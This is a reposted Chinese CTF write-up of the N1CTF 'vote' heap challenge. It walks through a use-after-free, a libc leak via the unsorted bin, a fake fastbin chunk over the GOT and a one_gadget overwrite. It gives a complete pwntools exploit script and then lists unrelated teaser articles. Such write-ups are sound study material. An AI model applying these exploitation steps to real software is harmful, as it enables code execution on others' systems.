N1CTF 塞題vote分析

?

  N1CTF 塞題vote分析:這個題是一個uaf的漏洞題,我們先看看漏洞(如下圖),這兩部分是很明顯的對比的啊。當單獨的一個count數組的數據和堆里的數據相同時候,就會釋放堆,堆釋放后的count還會有指針指向這塊內存,釋放后我們能夠(通過vote)修改數據,典型的uaf。那么我們修改構造(fd)的數據時候,下次申請特定地址的內存的時候,就可以對特定內存進行修改的。

  

這里的sleep()函數,pthread_create每次調用,都會sleep3秒,所以用腳本vote和cancel的時候總是導致無法觸發uaf,調試時候需要在腳本中用time.sleep(3)來完成。

    

?count數組的數值和堆里的fd數值保持一致。

  

?

?  

?

我們先來看幾個函數,雖然不一定是核心函數,但可以增長知識哈:

void *memset(void *s, int ch, size_t n);
函數解釋:將s中當前位置后面的n個字節 (typedef unsigned int size_t )用 ch 替換并返回 s 。

memset:作用是在一段內存塊中填充某個給定的值,它是對較大的結構體或數組進行清零操作的一種最快方法

?

解題過程:

結構體:

?? ?{
?? ??? ?long int count? (malloc data)
?? ??? ?long int time?? ?(malloc data+8)
?? ??? ?char name?? ??? ?(malloc data+16)?? ??? ?
?? ?}

  

三個位置分別為count,time,name。

?

構造偽堆,主要構造size和fd的數據:

  

?

?具體利用過程:

  一、leak地址:

  通過申請0x80(+0x20的堆頭)的堆,釋放成unsortbins,成雙向鏈表,fd和bk指向main_arena+88,在通過與libc的偏移計算出libc。

  

?

二、構造偽堆:

構造好了偽造的fd之后,如果直接用pthread的地址做偽堆的地址話,會由于size檢查導致分配失敗。 哦,對了申請了兩次偽堆,第一次是為了填充到我們的got表的地址而申請的,方法是在堆的24字節之后偽造堆,第二次是直接向共同表寫入數據。 

?

?

?

?

  

那么我們來找合適的size

?

?找到合適的size了(如下圖),我們需要構造了偽堆的位置就是0x601ffa了。

?

?

成功修改了got的地址為我們的one_gadget的地址了,下面就是執行vote,觸發one_gadget執行了。

?

?

利用思路總結

1.首先leak出libc的地址,通過unsorted bin泄露出其中fd(count)的數據,即是main_arena +88,然后通過偏移計算libc的地址。

2.通過修改fastbin的fd,構造偽堆,偽堆在got_pthread的附近,然后寫入數據,修改got_pthread為one_gadget的地址。

3.通過vote函數,觸發pthread函數,即執行了one_gadget的命令。

?

exp如下:

?

  1 #!/usr/bin/env python
  2 from pwn import*
  3 import time
  4 
  5 local =1
  6 debug = 1
  7 
  8 if local:
  9     p = process('./vote')
 10 
 11 else:
 12     p = remote("127.0.0.1",8080)
 13 
 14 #context.log_level = 'debug'
 15 
 16 def create(num,name):
 17     p.recvuntil("Action:")
 18     p.sendline("0")
 19     p.recvuntil("Please enter the name's size:")
 20     p.sendline(str(num))
 21     p.recvuntil("Please enter the name: ")
 22     p.sendline(name)
 23 
 24 def show(num):
 25     p.recvuntil("Action:")
 26     p.sendline("1")
 27     p.recvuntil("Please enter the index:")
 28     p.sendline(str(num))
 29 
 30 def vote(num):
 31     p.recvuntil("Action:")
 32     p.sendline("2")
 33     p.recvuntil("Please enter the index:")
 34     p.sendline(str(num))
 35 
 36 def cancel(num):
 37     p.recvuntil("Action:")
 38     p.sendline("4")
 39     p.recvuntil("Please enter the index:")
 40     p.sendline(str(num))
 41 def result():
 42     p.recvuntil("Action:")
 43     p.sendline("3")
 44 
 45 def add(num,i):
 46     for i in range(0,i):
 47         vote(str(num))
 48 
 49 #---------------leak addr----------------------------
 50 
 51 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 52 ppp = libc.symbols['write']
 53 print "write=",hex(ppp)
 54 
 55 #print "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
 56 #raw_input()
 57 
 58 
 59 create(0x80,"AAAA")
 60 create(0x80,"BBBB")
 61 cancel(0)
 62 
 63 #add(0,16)
 64 #vote(0)
 65 #time.sleep(4)
 66 show(0)
 67 
 68 p.recvuntil("count:")
 69 main_arena = p.recv(16)
 70 #main_arena = p.read(15)
 71 print"main_arena =",str(main_arena)
 72 
 73 libc_addr = int(main_arena)-0x3c4b78  
 74 one = libc_addr + 0x4526a
 75 
 76 print "libc_addr=",hex(libc_addr)
 77 print "one=",hex(one)
 78 
 79 
 80 
 81 #time.sleep(5)
 82 
 83 #---------------fake heap----------------------------
 84 #add(0,16)
 85 got_pthread = 0x601ffa #0x602020
 86 print "got_pthread:",hex(got_pthread)
 87 
 88 payload = p64(0x60)+p64(got_pthread) +p64(0xabcdef)
 89 
 90 create(0x40,payload)
 91 create(0x40,"DDDD")
 92 
 93 cancel(2)
 94 cancel(3)
 95 
 96 add(3,24)
 97 create(0x40,"FF")
 98 
 99 #---------------shellcode----------------------------
100 
101 #write = libc_addr +0x3da490
102 write = libc_addr +libc.symbols['write']
103 #strlen = libc_addr +0x8b720
104 strlen = libc_addr +libc.symbols['strlen']
105 shellcode =  "AAAAAA"+ p64(one) + p64(write) + p64(strlen)
106 #shellcode = "AAAAAA"
107 
108 create(0x40,"GG")
109 
110 create(0x40,shellcode)
111 
112 vote(0)
113 
114 
115 #gdb.attach(p)
116 p.interactive()

?

轉載于:https://www.cnblogs.com/Yable/p/8824590.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/452029.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/452029.shtml
英文地址,請注明出處:http://en.pswp.cn/news/452029.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

String.valueOf()方法與toString()方法的區別

前些天發現了一個巨牛的人工智能學習網站,通俗易懂,風趣幽默,忍不住分享一下給大家。點擊跳轉到教程。 1. 兩者都是把ObJect對象轉化為String 類型。 2.string.valueof()方法有作非空判斷,在內部也是調用的toString()方法&#…

網絡爬蟲--11.XPath和lxml

文章目錄一. XML1. XML 和 HTML 的區別2. XML文檔示例3. HTML DOM 模型示例4. XML的節點關系二. 什么是XPath?1. 選取節點2. 謂語(Predicates)3. 選取未知節點4. 選取若干路徑5. XPath的運算符三. lxml庫1. 初步使用2. 文件讀取四. XPath實例…

實體與屬性間的劃分原則

為了簡化E-R圖的處置,現實世界的事物能作為屬性對待的,盡量作為屬性對待。 兩條準則: (1)作為屬性,不能再具有需要描述的性質。屬性必須是不可分的數據項,不能包含其他屬性。 (2&…

編程開發之--java多線程學習總結(5)

4、對繼承自Runnable的線程進行鎖機制的使用 package com.lfy.ThreadsSynchronize;import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock;public class TicketSellSolution4 implements Runnable {private static int num 50;//創建一個…

軟件測試不是一個功能

今天在工作中我對一個同事說,PyDev 2.5.0現在對TDD(測試驅動開發)提供了很酷的支持了。我并不是一個對TDD很癡迷的倡導者,對其它事物也一樣,但仍不免激起了一場討論。這個家伙,讓我們暫叫他約翰&#xff0c…

Linux 操作系統基礎知識

1.操作系統總體介紹 ?CPU: 就像人的大腦,主要負責相關事情的判斷以及實際處理的機制。查詢指令: cat /proc/cpuinfo?內存: 大腦中的記憶區塊,將皮膚、眼睛等所收集到的信息記錄起來的地方,以供CPU進行判斷…

Transaction 那點事兒,Spring事務管理

前些天發現了一個巨牛的人工智能學習網站,通俗易懂,風趣幽默,忍不住分享一下給大家。點擊跳轉到教程。 Transaction 也就是所謂的事務了,通俗理解就是一件事情。從小,父母就教育我們,做事情要有始有終&…

網絡爬蟲--12.【XPath實戰】獲取百度貼吧中的圖片

用XPath來做一個簡單的爬蟲,我們嘗試爬取某個貼吧里的所有帖子,并且將該這個帖子里每個樓層發布的圖片下載到本地。 #codingutf-8 import requests from lxml import etree import jsonclass Tieba:def __init__(self,tieba_name):self.tieba_name tie…

合并分ER圖產生的沖突

合并分E-R圖 各個局部應用所面向的問題不同,各個子系統的E-R圖之間必定會存在許多不一致的地方,稱之為沖突。 子系統E-R圖之間的沖突主要有三類: ①屬性沖突 ②命名沖突 ③結構沖突①屬性沖突 屬性域沖突,即屬性值的類型、取值范圍…

8.類定義、屬性、初始化和析構

類定義 類 是一個獨立存放變量(屬性/方法)的空間 封裝: 類可以把各種對象組織在一起,作為類的屬性,通過 . (點)運算符來調用類中封裝好的對象 屬性: 變量在類中稱為屬性,但是類中的屬性不僅僅只包含變量&#x…

GPL以及Copyleft協議使用率下降明顯

根據最新的協議數據分析,不光是GPL,另外一些copyleft(AGPL,LGPL 等等)協議的使用率在不斷下降,并且下降的速度越來越快。 這結果是在意料之中的,因為GPL非常的復雜。越來越多的個人和企業將選擇…

概念模型和關系模型

ER模型(邏輯模型) ER模型的基本元素是:實體、聯系和屬性 實體:是一個數據對象,指應用中可以區別的客觀存在的事物。(ER模型中的實體往往是指實體集) 實體集:指同一類實體構成的集合…

iOS AutoLayout使用技巧

關于ContentCompressionResistance, ContentHugging運用 如下圖效果圖,兩個Label并列在同一排上,左邊label自適應,右邊label(紅色)要使得內容全部展示,如果左邊label內容很少,那么右…

網絡爬蟲--13.數據提取之JSON與JsonPATH

文章目錄一. 前言二. JSON三. json.loads()四. json.dumps()五. json.dump()六. json.load()七. JsonPath八. JsonPath與XPath語法對比九. 案例分析一. 前言 JSON(JavaScript Object Notation) 是一種輕量級的數據交換格式,它使得人們很容易的進行閱讀和編寫。同時…

vs2017生成sqlserver 2017項目出現.Net SqlClient Data Provider: Msg 10343

一、使用vs2017生成sqlserver 2017項目時由于添加的程序集(CLR集成,可以參考后面給出的鏈接進行理解) ,由于安全權限的配置不正確引發以下的問題: SQL72014: .Net SqlClient Data Provider: Msg 10343, Level 14, State 1, Line 1 針對帶有 SAFE 或 EXT…

數據庫系統常用的存取方法

1. B樹索引存取方法 2. Hash索引存取方法 3. 聚簇存取方法

創建型模式二:工廠方法模式

1. 工廠模式介紹 工廠模式(Factory Pattern)的意義就跟它的名字一樣,在面向對象程序設計中,工廠通常是一個用來創建其他對象的對象。工廠模式根據不同的參數來實現不同的分配方案和創建對象。 在工廠模式中,我們在創建…

spring 的4種事務管理(1種編程式+3種聲明式)

見:http://blog.csdn.net/sinat_25926481/article/details/48208619 Spring的4種事務管理(1種編程式事務三種聲明事務) 一、Spring事務的介紹 二、編程式事務xml的配置 注入后直接在service層調用模板的方法使用 三、基于AOP方式的聲明式事務…

如何創造出更優秀的用戶體驗?

對于互聯網公司來說,用戶體驗起到至關重要的作用,能否給用戶留下深刻的印象;開發出的產品是否實用、易用?等等這些都是開發者必將思考的話題。當有用性一樣的時候,大家的競爭重點就是易用性了,這就是互聯網…

java并發編程實戰-第三章-對象的共享

3.1可見性 首先我們需要知道的是,java的線程都有自己獨立的緩存,線程之間進行共享變量的交互是通過自身和緩存和主存的交互實現的。如果線程的每次更改緩存都刷入主存,主存每次被一個線程的緩存修改,都通知所有的線程刷新自身的緩…